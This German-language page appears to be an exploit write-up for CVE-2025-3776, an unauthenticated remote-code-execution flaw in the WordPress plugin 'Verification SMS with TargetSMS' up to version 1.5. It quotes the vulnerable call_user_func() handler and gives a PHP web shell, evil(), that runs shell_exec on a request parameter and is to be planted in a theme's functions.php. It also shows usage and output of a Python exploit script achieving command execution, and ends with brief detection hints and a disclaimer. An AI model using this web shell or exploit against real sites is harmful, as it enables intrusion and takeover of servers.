
Das WordPress-Plugin „Verification SMS with TargetSMS“ <= 1.5 ist anfällig für Remote Code Execution (RCE)
Die Schwachstelle entsteht durch die Verwendung von call_user_func() auf benutzergesteuerte Eingaben ohne Überprüfung gegen eine Whitelist erlaubter Funktionen. Dies erzeugt einen logischen Fehler, bei dem jede vorhandene PHP-Funktion im Speicher ohne Authentifizierung ausgeführt werden kann, was zu einer schwerwiegenden Remote-Code-Ausführung (RCE) führt.
Datei: /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
Dieser Code ermöglicht es nicht authentifizierten Benutzern, jede im Speicher vorhandene Funktion auszulösen, einschließlich schädlicher, wenn der Angreifer sie laden kann.
Um diese Schwachstelle erfolgreich auszunutzen, muss bereits eine aufrufbare Funktion in der WordPress-Umgebung vorhanden sein. Da WordPress-Plugins und -Themes Funktionen automatisch laden können, kann der Angreifer seine eigene Funktion über die functions.php-Datei des aktiven Themes einschleusen.
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.php den folgenden Payload ein:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ Dadurch wird sichergestellt, dass die Funktion
evil()in den Speicher geladen und übercall_user_func()ausführbar wird.
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
Wenn keine evil()-Funktion oder ähnliches im Speicher verfügbar ist:
{"status":false}
functions.php des aktiven Themes (wie gezeigt).evil() hochzuladen.Sobald eine schädliche Funktion geladen ist, kann ein nicht authentifizierter Angreifer:
Achten Sie auf wiederholte POST-Anfragen an:
/wp-admin/admin-ajax.php?action=targetvrHHndler
Mit callback=evil oder unerwarteten Funktionsnamen
Diese Informationen werden ausschließlich zu Bildungs- und ethischen Forschungszwecken bereitgestellt. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch die Verwendung dieser Informationen entstehen.
Exploit By: Nxploited (Khaled Alenazi)